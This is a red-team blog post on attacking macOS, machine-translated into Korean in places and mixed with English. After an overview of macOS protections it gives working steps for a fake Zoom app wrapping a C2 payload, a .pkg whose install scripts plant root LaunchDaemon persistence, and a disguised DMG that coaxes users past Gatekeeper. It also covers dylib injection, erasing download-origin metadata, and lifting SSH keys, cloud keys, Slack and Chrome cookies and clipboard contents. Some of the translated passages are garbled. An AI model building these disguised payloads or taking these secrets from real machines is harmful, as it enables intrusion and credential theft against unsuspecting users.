레드 팀 macOS 101

Feb 28 2023
이 게시물은 기본 macOS 보안 개념을 다루며 Red Teaming macOS 환경에 대한 소개 역할을 하길 바랍니다. 다루는 주제 이 게시물의 어떤 것도 "새로운" 연구는 아니지만 대신 더 쉽게 읽고 소개할 수 있도록 아래 리소스에서 위의 주제에 대한 정보를 통합했습니다.

이 게시물은 기본 macOS 보안 개념을 다루며 Red Teaming macOS 환경에 대한 소개 역할을 하길 바랍니다.

항목은 다룹니다

  • macOS 보안 개요
    - 게이트키퍼 및 XProtect
    - 강화된 런타임
    - SIP(시스템 무결성 보호)
    - TCC(투명성, 동의 및 제어)
    - macOS 샌드박스
    - 키체인
  • 초기 액세스 페이로드 및 지속성
    - 애플리케이션 번들
    - 설치 프로그램 패키지
    - 디스크 이미지(DMG)
  • 권한 상승 및 악용 후
    - 상황 인식
    - 쿠키 도용
    - 클립보드 모니터링
    - 코드 삽입
    - 메모리 내 Mach-O 로딩

이 게시물의 어떤 내용도 "새로운" 연구는 아니지만 대신 더 쉽게 읽고 소개할 수 있도록 아래 리소스에서 위의 주제에 대한 정보를 통합했습니다.

  • 블로그
    - Patrick Wardle/Objective See
    - Adam Chester
    - Justin Bui
    - Csaba Fitzl
    - Wojciech Reguła
    - Cedric Owens
    - Chris Ross
    - Leo Pitt
  • 동영상
    - Cedric Owens의 DEFCON 29: Red Teaming macOS
    - Cody Thomas의 OBTS: Red Teaming macOS
    - Wojciech Reguła의 x33fcon: Red Teaming macOS
    - Cody Thomas의 OBTS: Lock Picking the macOS 키체인
  • 책/과정
    - Patrick Wardle의 The Art of Mac Malware
    - Offensive Security의 OSMR
  • 올인원 참조
    - Awesome-macOS-Red-Teaming

게이트키퍼 및 XProtect

Gatekeeper는 Windows의 SmartScreen 및 MOTW와 유사하게 신뢰할 수 있는 응용 프로그램만 시스템에서 실행할 수 있도록 설계된 보안 메커니즘입니다. 인터넷에서 실행 파일을 다운로드하면 com.apple.quarantine파일이 실행될 때 게이트키퍼를 트리거하는 속성으로 표시됩니다.

실행 파일이 공증된 경우 Gatekeeper는 파일의 코드 서명을 확인하고 사용자에게 파일을 실행할지 묻는 메시지를 표시합니다.

공증된 앱 더블 클릭

실행 파일이 공증되지 않은 경우 Gatekeeper는 파일이 서명되지 않았기 때문에 실행될 수 없음을 알리는 메시지를 사용자에게 표시합니다. 서명되지 않은 실행 파일을 실행하려면 사용자는 파일을 마우스 오른쪽 단추로 클릭한 다음 두 번 클릭하는 대신 열기를 클릭해야 합니다.

서명되지 않은 파일 더블 클릭
서명되지 않은 파일을 열려면 마우스 오른쪽 버튼을 클릭하십시오.

Following the verification of the code signature, XProtect, which is macOS’ built-in antivirus will scan the file for malware. XProtect utilizes YARA rules which can can be found via locate XProtect.yara and are for the most part useless unless you are running default Metasploit payloads. Additionally, XProtect only scans for malware under three conditions

  • The file is being ran for the first time
  • The file’s hash has changed
  • XProtect’s YARA rules have been updated

Hardened Runtime

강화된 런타임은 dylib 하이재킹, 환경 변수 및 작업 포트 주입을 통한 코드 주입으로부터 보호하기 위해 앱에서 활성화할 수 있는 기능입니다. 강화된 런타임이 주입으로부터 보호하는 방법의 한 가지 예는 프로세스에 로드된 모든 dylib가 앱 자체와 동일한 인증서로 서명되도록 요구하는 것입니다. 이것은 물론 애플리케이션이 타사 dylib를 로드해야 할 때 문제를 일으키므로 앱은 이러한 제한 중 일부를 제거할 수 있는 특정 권한을 가질 수 있습니다.

codesign -d --entitlements :- <file>Poseidon의 명령을 통해 또는 명령을 통해 앱 권한을 나열할 수 list_entitlements있으며, 아래 중 하나라도 있는 경우 앱에 삽입할 수 있습니다.

  • The com.apple.security.cs.disable-library-validation entitlement allows any dylib, signed or unsigned, to be loaded into the process. Depending on the location of the dylibs the app loads, this may open the door for dylib hijacking.
  • The com.apple.security.cs.allow-dyld-environment-variables entitlement allows dylibs to be loaded from the DYLD_INSERT_LIBRARIES environment variable. However, this entitlement alone does not remove the previously mentioned code signing requirements. If this entitlement is present along with the disable-library-validation entitlement, you can inject into the app via DYLD_INSERT_LIBRARIES=malicious.dylib ./app similarly to LD_PRELOADon Linux.
  • The com.apple.security.get-task-allow entitlement allows other apps to get the task port of your app, which is similar to obtaining a handle to a process on Windows. It should be noted that in order to access a task port your code must run as root. With the task port you can then perform your classic process injection via writing shellcode and creating a thread.
  • Listing Obsidian’s entitlements

System Integrity Protection (SIP)

SIP aka “rootless” protects system files from modifications. Essentially even as the root user we cannot alter certain system files such as the executables within /bin/ . Files protected by SIP can be identified via the restricted flag.

SIP는 을(를) 통해 비활성화할 수 csrutil disable있지만 복구 모드에서 장치를 다시 시작해야 하므로 일반적으로 레드 팀 관점에서는 문제가 되지 않습니다.

투명성, 동의 및 통제(TCC)

TCC는 v10.14+에 구현된 macOS 개인 정보 보호 기능으로, 애플리케이션이 카메라와 같은 특정 리소스와 , , 및 드라이브/볼륨을 포함한 특정 폴더에 액세스하려고 할 때 사용자에게 명시적으로 권한을 부여하라는 메시지를 Desktop표시 Downloads합니다 Documents.

TCC 프롬프트

권한 없이 TCC 보호 리소스에 액세스하려고 하면 실수로 프롬프트가 생성되어 사용자에게 귀하의 존재를 알리고 궁극적으로 귀하의 참여가 예상보다 빨리 종료될 수 있습니다. 다음은 TCC에 의해 보호되지 않는 몇 가지 유용한 파일입니다.

  • Hidden files & folders in the home directory — ~/.aws/* , ~/.ssh/* , ~/.bash_history , ~/.zsh_history
  • User application data — ~/Library/Application Support/*
  • Cookie files — ~/Library/Application Support/Google/Chrome/Default/Cookies , ~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies

The user’s TCC database requires full disk access (FDA) to interact with, however, if we can interact with it, we can then modify it to grant ourselves access to other resources. We can check if we have FDA without prompting the user by running file against the user’s TCC database.

With FDA
Without FDA

TCC bypasses are not particularly “rare” and I recommend checking out Csaba Fitzl’s blog to stay up to date with old and new bypasses.

macOS Sandbox

The macOS sandbox is a feature which developers can opt their apps into if they are released outside of the App Store, and mandatory for all apps downloaded directly from the App Store. Apps which have opted-in to the sandbox feature will have the com.apple.security.app-sandbox entitlement, and as the name implies, will force them to run inside a sandbox. Apps running in a sandbox have extremely limited access to the system such as the ability to read or write files to the disk. For this reason, certain attack paths on macOS such as phishing via macros are not enticing. As Microsoft Office apps opt-in to the sandbox and will prevent you from persisting and looting.

Keychain

키체인은 Windows의 LSASS와 비교할 수 있으며 앱의 암호 및 키와 같은 비밀을 보유합니다. 예를 들어 응용 프로그램은 디스크에 저장하는 파일을 암호화할 수 있으며 이러한 파일의 암호 해독 키는 키체인 내에 저장됩니다. 시스템 키체인은 에서 /Library/Keychains/System.keychain, 사용자 키체인은 에서 찾을 수 있습니다 ~/Library/Keychains/login.keychain-db.

사용자의 키체인을 다운로드할 수 있지만 그 안의 비밀은 사용자의 비밀번호로 암호화됩니다. 사용자 암호가 있는지 여부에 따라 Chainbreaker를 활용하여 비밀을 추출하거나 키체인 암호의 해시를 --dump-keychain-password-hash크랙이 매우 느린 hashcat 형식으로 덤프할 수 있습니다.

마지막으로, 키체인 내의 각 항목에는 키체인 액세스 앱 내에서 볼 수 있는 관련 ACL 및 권한이 있습니다. 신뢰할 수 있는 애플리케이션은 사용자에게 메시지를 표시하지 않고 키체인 항목에 대한 작업을 수행할 수 있는 앱입니다. 이 목록은 "액세스 제어" 탭에서 찾을 수 있으며 흥미로운 사례는 목록이 "NULL"인 경우입니다. 즉, 모든 앱이 신뢰할 수 있음을 의미하며 단순히 신뢰할 수 있는 앱이 없음을 의미하는 빈 목록과 혼동하지 않아야 합니다.

신뢰할 수 있는 앱의 컨텍스트에서 실행 중이거나 목록이 NULL이고 아래 권한 중 하나가 있는 경우 사용자에게 묻지 않고 비밀을 추출할 수 있습니다.

  • ACLAuthorizationDecrypt
  • ACL인증내보내기지우기
  • ACLAuthorizationExportWrapped
  • ACLAuthorizationAny

초기 액세스 페이로드 및 지속성

If you are interested in learning about payload types for macOS alternative to those listed below, I recommend checking out the Mystikal project and associated blog post.

Additionally, it should be noted that EDR products on macOS are not mature and essentially function as only a logging product. Therefore, you can typically use any default C2 agent besides from Metasploit, and not have to worry about the EDR catching your payload.

Application Bundles

Application bundles (.app) are one of the most common program types and are the format almost all end-user software is released as. App bundles are stored within /Applications/ and displayed to you when you click into Launchpad. Referencing Apple’s documentation, a minimal app bundle typically has the following structure:

AppName.app/
    Contents/
        Info.plist  # App config info
        MacOS/      # Contains the app's executable file
        Resources/  # Fonts, images, sounds, icons, etc.

1 - Create the app bundle folder structure

mkdir FakeZoom.app
mkdir FakeZoom.app/Contents
touch FakeZoom.app/Contents/Info.plist
mkdir FakeZoom.app/Contents/MacOS
mkdir FakeZoom.app/Contents/Resources

Next, since both Intel and Silicon macs are now common, we can create both an AMD and ARM Poseidon payload, and then combine them into a universal Mach-O which can run on either architecture via lipo -create <arm-payload> <amd-payload> -output <universal-payload> and then place it into the MacOS directory.

Building a universal Poseidon payload

3 - Create the Info.plist file.

Referring to Apple’s developer docs we’ll need to specify a few keys:

  • CFBundleExecutable — The name of the main executable within the MacOS directory (PoseidonPayload)
  • CFBundleIconFile — The name of the application image (ZoomImageForPayload)
  • CFBundleIdentifier — The string which unique identifies your application on the system (com.examplepayload.Zoom)
  • CFBundleName — The name of your app (FakeZoom)
  • CFBundleVersion — The build version number of your app (1.0.0)
  • <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
     <key>CFBundleExecutable</key>
     <string>PoseidonPayload</string>
     <key>CFBundleIconFile</key>
     <string>ZoomImageForPayload</string>
     <key>CFBundleIdentifier</key>
     <string>com.examplepayload.Zoom</string>
     <key>CFBundleName</key>
     <string>FakeZoom</string>
     <key>CFBundleVersion</key>
     <string>1.0.0</string>
    </dict>
    </plist>
    

Since we are creating a fake Zoom app, we can just copy Zoom’s icns file out of the /Applications/ directory (if it’s installed) and into Resources/ZoomImageForPayload, however, you can alternatively use any icon you want.

App folder structure

Installer Packages

Installer packages (.pkg) are xar archives and another common program type seen when software needs to be installed with root privileges. While installer packages can contain a main payload to run when opened, an alternative is to leverage “preinstall” and “postinstall” scripts, which the name implies, will run a script before and after installing.

For this example we’ll create an installer package which uses these scripts to register a LaunchDaemon for persistence as the root user when opened.

1 - Create the installer package folder structure

mkdir scripts
mkdir scripts/files
touch scripts/preinstall
touch scripts/postinstall
chmod +x scripts/preinstall
chmod +x scripts/postinstall

2 - Create a plist file to register as a LaunchDaemon

There’s really only one value needed within this plist file which is ProgramArguments and essentially specifies what to run when the LaunchDaemon is triggered.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>Label</key>
 <string>com.examplepayload.persistence</string>
 <key>ProgramArguments</key>
 <array>
  <string>/Library/Application Support/PoseidonPayload</string>
 </array>
 <key>KeepAlive</key>
 <true/>
</dict>
</plist>

3 - Create the pre and postinstall scripts

These scripts are just regular bash scripts, however, they must start with #!/bin/bash and end with exit 0 . We’ll use the preinstall script to copy our plist and payload to the correct locations on the disk, and then the postinstall script to register the LaunchDaemon.

#!/bin/bash
cp files/PoseidonPayload "/Library/Application Support/PoseidonPayload"
cp files/com.examplepayload.persistence.plist "/Library/LaunchDaemons/com.examplepayload.persistence.plist"
exit 0
#!/bin/bash
launchctl load "/Library/LaunchDaemons/com.examplepayload.persistence.plist"
exit 0

      
                

To create the installer package from these scripts we can simply run pkgbuild --identifier <identifier> --nopayload --scripts <path to scripts folder> <output>.pkg

We can unload the LaunchDaemon by running launchctl unload com.examplepayload.persistence.plist and it should be noted that dropping the payload to /Library/Application Support/ was purely preference, and it can be dropped elsewhere.

LaunchDaemons represent only one form of persistence on macOS and if you’re interested in other forms, I recommend checking out SentinelOne’s blog.

Disk Images (DMG)

DMGs are compressed volumes which can contain other payload formats. The benefit of delivering your payload within a DMG file is that you can add graphical elements to aid in socially engineering the user to right-click, then open your payload to bypass Gatekeeper, as the DMG itself does not invoke Gatekeeper.

To build a genuine looking DMG we’ll need to create a custom background image, I prefer to leverage legitimate software or company wallpaper along with draw.io, but you can create your own as you like.

For this demo, I went with this image as the base, and created this:

To start we can create a disk image by opening Disk Utility and selecting “File” then “New Image” then “Blank Image…”

We can select the name of our volume, and then change the “Format” to “Mac OS Extended (Journaled)”.

Open the .dmg file, which is “example-payload.dmg” in my case, and a volume will appear in your Desktop, then open the volume, which is “example” in my case. To show hidden files on macOS you can click “[shift] + [command] + [period]”.

Move your background image into the volume /Volumes/<volume-name>/ as a hidden file, along with your payload. For this example we can reuse the app bundle from the above section.

Next, we can click into the volume and select “View” followed by “Show View Options”.

Under “Background” select “Picture”, then double click the “Drag image here” box. A new Finder window will open and you can select the background image from within the volume. If you do not choose an image contained within the volume it may cause errors. Additionally, we can resize the icon via “Icon Size”.

Resize the window to fit your background, and center the app bundle.

Once you are content with the layout, and while the Finder window is still open, right click the volume on the Desktop, and click “Eject”.

Re-open Disk Utility and select “Images” then “Convert…”

Select your DMG file, then select “Encryption: none” and “Image Format: compressed”

Of course this demo doesn’t make too much sense given it is a Chrome background, with a Zoom application (lol), however, hopefully you get the point.

One final thing to take note of regarding payloads is that files downloaded via your browser will append the com.apple.metadata:kMDItemWhereFroms attribute, which lists where the file was downloaded from. If you are downloading your Poseidon payload directly from Mythic in your browser before packaging it, this can lead to accidentally revealing the location of your team server. You can remove this attribute via xattr -d com.apple.metadata:kMDItemWhereFroms <file> .

Privilege Escalation & Post Exploitation

This section is not exhaustive of all activities you can perform after getting a shell and is intended to only give a general idea of post-ex on macOS.

Situational Awareness

You can start with some situational awareness checks on the system, by either running HealthInspector or SwiftBelt, or manually browsing config files. Many of these files will be plist files in binary format and to make them readable you can use plutil . Some files of interest could be:

  • What apps the user has in the dock? — plutil -p ~/Library/Preferences/com.apple.dock.plist
  • What files the user recently interacted with? — plutil -p ~/Library/Preferences/com.apple.finder.plist
  • What version of macOS your on? — plutil -p /System/Library/CoreServices/SystemVersion.plist

Next, you can start downloading some files which are not protected by TCC from the disk, including the user’s bash or zsh history, ssh keys, cloud keys (AWS, GCP, etc), keychain, and cookies.

Given you are on a macOS it is likely the organization for your engagement may be a tech company or startup, and Slack is common to see in these environments. If so, you can download the following files:

  • ~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/storage/root-state.json
  • ~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies

Next, you can target browser cookies, for this example we’ll use Google Chrome. If you have the user’s password either from finding it within their bash or zsh history or maybe running a password prompter, you can download ~/Library/Application Support/Google/Chrome/Default/Cookies and decrypt the file offline. Alternatively, if you do not have the user’s password, you can use tools such as WhiteChocolateMacademiaNut to start Chrome with remote debugging enabled and then dump the cookies over a websocket. Again, since mac EDRs are not mature, dropping garbled tools to disk shouldn’t be much of a concern.

With access to browser cookies you can then open a SOCKS via Poseidon’s built-in command or drop chisel, and browse internal sites. Specifically, you may want to target internal documentation sites such as their Confluence and their internal code repositories for finding privileged credentials.

Clipboard Monitoring

On macOS every time the clipboard contents have changed a counter gets incremented, thus, we can monitor the value of the counter in an interval and fetch the clipboard’s contents if it has changed. Poseidon has a built in command clipboard_monitor which we can leverage for this.

Some additional things to note:

  • The clipboard_monitor command filters to only retrieve plain text, so if the user copies a large binary to their clipboard we do not have to worry about sending large amounts of traffic over our C2.
  • The root user does not have access to the clipboard, so any clipboard monitoring tools must be ran in a user context.

As previously mentioned in the harden runtime section, being able to inject code into an application is useful from a red team perspective as it can potentially grant you additional entitlements and access to resources you previously did not have.

For example, your initial payload may not have access to the Downloads folder, however, if you can inject code into Chrome which might have the com.apple.security.files.downloads.read-write entitlement, you would then be able to browse the Downloads folder.

To find targets for code injection you can run Poseidon’s list_entitlements command which will search for running processes with the entitlements mentioned in the hardened runtime section.

From here you can then inspect each process to find a potential target.

One other form of code injection not previously mentioned is “electron hijacking”, which is covered extensively by Adam Chester in this blog. Essentially you can leverage the ELECTRON_RUN_AS_NODE environment variable to spawn a process as a child of an electron app, and because child processes inherit the TCC permissions of their parent, you can potentially gain their entitlements.

In-Memory Mach-O Loading

macOS EDR의 현재 상태에서는 확실히 필요하지 않지만 메모리 내에서 Mach-O를 실행할 수 있습니다. 메모리 내 로딩을 수행하는 데 사용되는 API는 OS 버전마다 다르므로 이에 대해서는 다루지 않겠습니다. 대신 Justin Bui의 게시물 과 Adam Chester의 게시물을 확인하는 것이 좋습니다 .